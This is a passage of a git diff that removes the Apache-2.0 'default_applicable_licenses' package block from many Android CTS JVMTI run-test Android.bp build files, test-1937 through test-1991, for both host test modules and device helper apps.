defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1937/Android.bp b/hostsidetests/jvmti/run-tests/test-1937/Android.bp
index 695edb2..e85825b 100644
--- a/hostsidetests/jvmti/run-tests/test-1937/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1937/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1937HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp
index 0c01c23..b9005dd 100644
--- a/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1937DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1939/Android.bp b/hostsidetests/jvmti/run-tests/test-1939/Android.bp
index b82555f3..6c5f257 100644
--- a/hostsidetests/jvmti/run-tests/test-1939/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1939/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1939HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp
index 15cc8a4..f0cf4dd 100644
--- a/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1939DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1941/Android.bp b/hostsidetests/jvmti/run-tests/test-1941/Android.bp
index 7134464..80246a0 100644
--- a/hostsidetests/jvmti/run-tests/test-1941/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1941/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1941HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp
index bc98486..d0f3c0c 100644
--- a/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1941DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1942/Android.bp b/hostsidetests/jvmti/run-tests/test-1942/Android.bp
index a5163e2..2649361 100644
--- a/hostsidetests/jvmti/run-tests/test-1942/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1942/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1942HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp
index e9c888f..7a7d4a8 100644
--- a/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1942DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1943/Android.bp b/hostsidetests/jvmti/run-tests/test-1943/Android.bp
index a7efc95..2b8ff6c 100644
--- a/hostsidetests/jvmti/run-tests/test-1943/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1943/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1943HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp
index 9571e1d..afcbbd0 100644
--- a/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1943DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1953/Android.bp b/hostsidetests/jvmti/run-tests/test-1953/Android.bp
index d2251b2..5cb0fc2 100644
--- a/hostsidetests/jvmti/run-tests/test-1953/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1953/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1953HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp
index d56a461..663050b 100644
--- a/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1953DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1958/Android.bp b/hostsidetests/jvmti/run-tests/test-1958/Android.bp
index 721bb03..ce50088 100644
--- a/hostsidetests/jvmti/run-tests/test-1958/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1958/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1958HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp
index c11ecb4..c3cd926 100644
--- a/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1958DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1962/Android.bp b/hostsidetests/jvmti/run-tests/test-1962/Android.bp
index 662cacc..b1a4087 100644
--- a/hostsidetests/jvmti/run-tests/test-1962/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1962/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1962HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp
index 1741360..3790fdd 100644
--- a/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1962DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1967/Android.bp b/hostsidetests/jvmti/run-tests/test-1967/Android.bp
index 995959e..370596b 100644
--- a/hostsidetests/jvmti/run-tests/test-1967/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1967/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1967HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp
index 79bafff..b3e1d87 100644
--- a/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1967DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1968/Android.bp b/hostsidetests/jvmti/run-tests/test-1968/Android.bp
index 1b57bf6..1c9f406 100644
--- a/hostsidetests/jvmti/run-tests/test-1968/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1968/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1968HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp
index d92f49a..5a0a713 100644
--- a/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1968DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1969/Android.bp b/hostsidetests/jvmti/run-tests/test-1969/Android.bp
index fa5c6df..46975d5 100644
--- a/hostsidetests/jvmti/run-tests/test-1969/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1969/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1969HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp
index 84524e9..b78ee72 100644
--- a/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1969DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1970/Android.bp b/hostsidetests/jvmti/run-tests/test-1970/Android.bp
index 94e1d9a..be85e20 100644
--- a/hostsidetests/jvmti/run-tests/test-1970/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1970/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1970HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp
index d557923..4f0651f 100644
--- a/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1970DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1971/Android.bp b/hostsidetests/jvmti/run-tests/test-1971/Android.bp
index 1ac9d3a..db2d5ef 100644
--- a/hostsidetests/jvmti/run-tests/test-1971/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1971/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1971HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp
index 8aa12c5..bb4dfed 100644
--- a/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1971DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1974/Android.bp b/hostsidetests/jvmti/run-tests/test-1974/Android.bp
index d1ccbe3..87a90ed 100644
--- a/hostsidetests/jvmti/run-tests/test-1974/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1974/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1974HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp
index 516bbb4..da977ea 100644
--- a/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1974DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1975/Android.bp b/hostsidetests/jvmti/run-tests/test-1975/Android.bp
index 1d72113..e23cfa7 100644
--- a/hostsidetests/jvmti/run-tests/test-1975/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1975/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1975HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp
index 0144c57..345a252 100644
--- a/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1975DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1976/Android.bp b/hostsidetests/jvmti/run-tests/test-1976/Android.bp
index fba22ee..38e8612 100644
--- a/hostsidetests/jvmti/run-tests/test-1976/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1976/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1976HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp
index c1d2afa..ae91ef2 100644
--- a/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1976DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1977/Android.bp b/hostsidetests/jvmti/run-tests/test-1977/Android.bp
index 0b70b9a..3b76f5b 100644
--- a/hostsidetests/jvmti/run-tests/test-1977/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1977/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1977HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp
index f311834..e5c0251 100644
--- a/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1977DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1978/Android.bp b/hostsidetests/jvmti/run-tests/test-1978/Android.bp
index 62bda0d..bb3bfce 100644
--- a/hostsidetests/jvmti/run-tests/test-1978/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1978/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1978HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp
index b8da46d..523da34 100644
--- a/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1978DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1979/Android.bp b/hostsidetests/jvmti/run-tests/test-1979/Android.bp
index 8f26f89..bd812f7 100644
--- a/hostsidetests/jvmti/run-tests/test-1979/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1979/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1979HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp
index 2d2f89b..a3c6ec5 100644
--- a/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1979DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1981/Android.bp b/hostsidetests/jvmti/run-tests/test-1981/Android.bp
index 510e0aa..4e1982d 100644
--- a/hostsidetests/jvmti/run-tests/test-1981/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1981/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1981HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp
index cd338eb..98e452b 100644
--- a/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1981DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1982/Android.bp b/hostsidetests/jvmti/run-tests/test-1982/Android.bp
index 9e070ff7..f946542 100644
--- a/hostsidetests/jvmti/run-tests/test-1982/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1982/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1982HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp
index 07c2395..496e7ab 100644
--- a/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1982DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1983/Android.bp b/hostsidetests/jvmti/run-tests/test-1983/Android.bp
index d165fd1..0a829ee 100644
--- a/hostsidetests/jvmti/run-tests/test-1983/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1983/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1983HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp
index e22cc83..7645be6 100644
--- a/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1983/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1983DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1984/Android.bp b/hostsidetests/jvmti/run-tests/test-1984/Android.bp
index e84c4a8..4a5b859 100644
--- a/hostsidetests/jvmti/run-tests/test-1984/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1984/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1984HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp
index bf406a1..f378084 100644
--- a/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1984/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1984DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1988/Android.bp b/hostsidetests/jvmti/run-tests/test-1988/Android.bp
index 13e6657..fe73550 100644
--- a/hostsidetests/jvmti/run-tests/test-1988/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1988/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1988HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp
index eeab200..f86f27b 100644
--- a/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1988DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1989/Android.bp b/hostsidetests/jvmti/run-tests/test-1989/Android.bp
index d2420c7..6cf902b 100644
--- a/hostsidetests/jvmti/run-tests/test-1989/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1989/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1989HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp
index 0785bf5..5c61276 100644
--- a/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1989DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1990/Android.bp b/hostsidetests/jvmti/run-tests/test-1990/Android.bp
index 8c953f3..d8236d1 100644
--- a/hostsidetests/jvmti/run-tests/test-1990/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1990/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1990HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp
index df96674..67cdde3 100644
--- a/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1990DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1991/Android.bp b/hostsidetests/jvmti/run-tests/test-1991/Android.bp
index 216de8b..b7457f4 100644
--- a/hostsidetests/jvmti/run-tests/test-1991/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1991/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1991HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp
index 8c1e81b..9287347 100644
